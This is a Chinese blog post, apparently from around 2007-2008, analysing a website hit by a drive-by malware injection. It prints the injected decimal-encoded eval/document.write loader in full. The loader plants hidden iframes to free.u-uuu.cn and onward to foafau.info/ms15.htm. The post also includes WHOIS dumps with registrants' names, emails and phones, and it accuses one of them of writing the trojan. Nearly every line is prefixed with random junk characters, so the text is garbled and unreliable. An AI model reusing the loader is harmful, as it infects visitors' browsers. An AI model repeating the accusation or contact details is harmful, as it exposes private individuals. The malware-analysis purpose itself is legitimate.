首发在我的博客里面，
+#Q\;; FNP \ =(r6X http://www.areway.cn/?p=175 l*(Ml=
O { gLGu#6YVu (s?Rbd 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
8kA2.pIk ZT'VF~ <script>t=’60,105,102,114,97,109,101,
9S8>"w^R 32,115,114,99,61,104,116,116,112,58,47,47,
2$OI(7 b= 102,114,101,101,46,117,45,117,117,117,46,99,
d=~- 8]%\ 110,47,101,114,114,111,114,46,104,116,109,
? ^l{t4 32,119,105,100,116,104,61,49,48,48,32,104,
rm"C|T4:V 101,105,103,104,116,61,48,62,60,47,105,102,
o{n)w6P{R, 114,97,109,101,62′;
Xe:gH.} t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
n +R3 P
g{/tM Y <script>t=’60,105,102,114,97,109,101,32,115,
A.@/~\ 114,99,61,104,116,116,112,58,47,47,102,114,
yR|Beno 101,101,46,117,45,117,117,117,46,99,110,47,
Mb0l*'ZF 101,114,114,111,114,46,104,116,109,32,119,
YrRD3P.P 105,100,116,104,61,49,48,48,32,104,101,105,
7F!(60xY 103,104,116,61,48,62,60,47,105,102,114,97,
=m Wr8p-H 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
40ZHDtIu< document.write(t);</script>
C[0*> W8o byrK``f <html xmlns=”
M`jqU g http://www.w3.org/1999/xhtml ,|u^-J@
“>
%hnv
go:^g <head>
gp`H>Sn.| <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
m.|__L <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
45+w)Vf! <title>首页 - 爱生活家庭网
@s[Vtw%f ja1WI 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
HC[)):S* 转换字符串后的大概内容是（谁点击后果自付）：
U.mVz,k3 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Za4X
; iT;~0XU7F 查询玉米u-uuu.cn的详细信息：
[@RJ2q$ Domain Name: u-uuu.cn
N~/D| ?P~2 ROID: 20070901s10001s64972306-cn
NrTK+6 z Domain Status: ok
g~#HiBgWq[ Registrant Organization: 王雷
eq<giHJM Registrant Name: 王雷
)08mG_&atL Administrative Email:
czlovexs@126.com h0v4!`PQ- Sponsoring Registrar: 北京万网志成科技有限公司
Z6Kw'3 Name Server:ns.yovole.com
djGzJ LH Name Server:ns1.yovole.com
D6wg^ 'Q: Registration Date: 2007-09-01 17:54
Kq. MmR!gl Expiration Date: 2008-09-01 17:54
mxxuD"5 最后PING了一下地址 都没有什么….
VUD ?iv7 H[S 4o, 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Q
\E [p y <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
n@"h^- <script language=”javascript” src=”
?~g X7{> http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script C OC6H'F >
:kMEL* 这个玉米应该有可能是木马作者的：
Wdp?<U foafau.info的详细信息：
2S`D7R#6s Access to INFO WHOIS information is provided to assist persons in
vI)-Zz[3 determining the contents of a domain name registration record in the
J#L"kz Afilias registry database. The data in this record is provided by
M1sR+e$" Afilias Limited for informational purposes only, and Afilias does not
p~h)@ guarantee its accuracy. This service is intended only for query-based
={GYJ. *Ah access. You agree that you will use this data only for lawful purposes
ejID5NqG and that, under no circumstances will you use this data to: (a) allow,
nWd]P\a'V enable, or otherwise support the transmission by e-mail, telephone, or
Ry+Ax4#+(y facsimile of mass unsolicited, commercial advertising or solicitations
Ie14`' to entities other than the data recipient’s own existing customers; or
hrt ]Qn& (b) enable high volume, automated, electronic processes that send
Cc7YjsRW queries or data to the systems of Registry Operator, a Registrar, or
JC[G5$E Afilias except as reasonably necessary to register domain names or
sp V E'"^ modify existing registrations. All rights reserved. Afilias reserves
&q? A)R the right to modify these terms at any time. By submitting this query,
liuF;* you agree to abide by this policy.
EP ;TfWc}1 Domain ID:D22418703-LRMS
"N|gU;~W Domain Name:FOAFAU.INFO
$2?10}mrx Created On:20-Nov-2007 16:05:42 UTC
\@ j YY~ Last Updated On:20-Nov-2007 16:05:44 UTC
nKP[U=ac Expiration Date:20-Nov-2008 16:05:42 UTC
Ba]J3Yp,z Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
uBPxMwohR Status:CLIENT DELETE PROHIBITED
l-GQ AI8 Status:CLIENT RENEW PROHIBITED
@a X $} Status:CLIENT TRANSFER PROHIBITED
~SWR|[ Status:CLIENT UPDATE PROHIBITED
^I4 /{,Ev Status:TRANSFER PROHIBITED
%I&[ : Registrant ID:GODA-040110615
}/{G Registrant Name:liu hong
BRu/py xG Registrant Organization:
mF|7:zSo Registrant Street1:beijing
[nBdq"K Registrant Street2:
!x, ;& Registrant Street3:
v;r!rZX Registrant City:beijing
mnwYv..ePz Registrant State/Province:
LZ" yMnhOf Registrant Postal Code:100000
W%)uKQha Registrant Country:CN
e b uR-9 Registrant Phone:+86.860108888777
N0:gY]o % Registrant Phone Ext.:
B< `'h Registrant FAX:
e{8j(` (;# Registrant FAX Ext.:
9w%|Nk>=> Registrant Email:bbbshiji@163.com
X9d~r_2&m< Admin ID:GODA-240110615
/61P`1y(J Admin Name:liu hong
D{4Ehr "T Admin Organization:
xK3
xiR Admin Street1:beijing
0."TSe83\ Admin Street2:
w,'"2^ Cwy Admin Street3:
Fa !6*K\ Admin City:beijing
cn rS.s= Admin State/Province:
`k>h2(@9S
Admin Postal Code:100000
FK8G BkQ! Admin Country:CN
b)5z'zQu Admin Phone:+86.860108888777
-@wnQ? Admin Phone Ext.:
tc_D8Q_ Admin FAX:
c|s*(WljY Admin FAX Ext.:
?4]#gC ks Admin Email:bbbshiji@163.com
x9c/;Q &m Billing ID:GODA-340110615
: Y{aa1 Billing Name:liu hong
D~< 3 Billing Organization:
d_0r Billing Street1:beijing
:tv:46+s= Billing Street2:
G O=& Billing Street3:
L;n2, b Billing City:beijing
J:{$\m' Billing State/Province:
D`t }V Billing Postal Code:100000
2!Mwui;% Billing Country:CN
/Ww_ fY Billing Phone:+86.860108888777
|kUxTe Billing Phone Ext.:
d]v 4`nc
Billing FAX:
o 9l =Q Billing FAX Ext.:
6 +:Tv2 Billing Email:bbbshiji@163.com
RawK9K_1 Tech ID:GODA-140110615
1>doa1 Tech Name:liu hong
x}w "2[fL Tech Organization:
'}`|QJ Tech Street1:beijing
V
ifQ@ Tech Street2:
/<HEcB Tech Street3:
Y[ A`r0 Tech City:beijing
@Gs*y1 Tech State/Province:
78s:~|WB<{ Tech Postal Code:100000
d" "GG/ Tech Country:CN
&*}NN5Sv Tech Phone:+86.860108888777
[I`r [u Tech Phone Ext.:
; FO1b* Tech FAX:
k{fCU% Tech FAX Ext.:
z)Y< @2V*C Tech Email:bbbshiji@163.com
&I Qp& Name Server:NS27.DOMAINCONTROL.COM
$uA?c&
e Name Server:NS28.DOMAINCONTROL.COM
)-_NtMr~`! Name Server:
:y?xS Name Server:
_L6WbRu| Name Server:
M NE{mV( Name Server:
^8mF0K& Name Server:
GP %83T Name Server:
nt /+?Sj Name Server:
f PoC
yl Name Server:
0/8rY BV Name Server:
I 9yN TD Name Server:
h\ (z!7t* Name Server:
#xqeCX 4p 6\MJvg\; 接着下载每个文件里面的代码：
3~e"CKD> 一步一步看..
G;n'c7BV 
<&7KcvBn"4 
T K )K q 
iY=M 67V 
@quNVx(y 
58H [sM4> 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
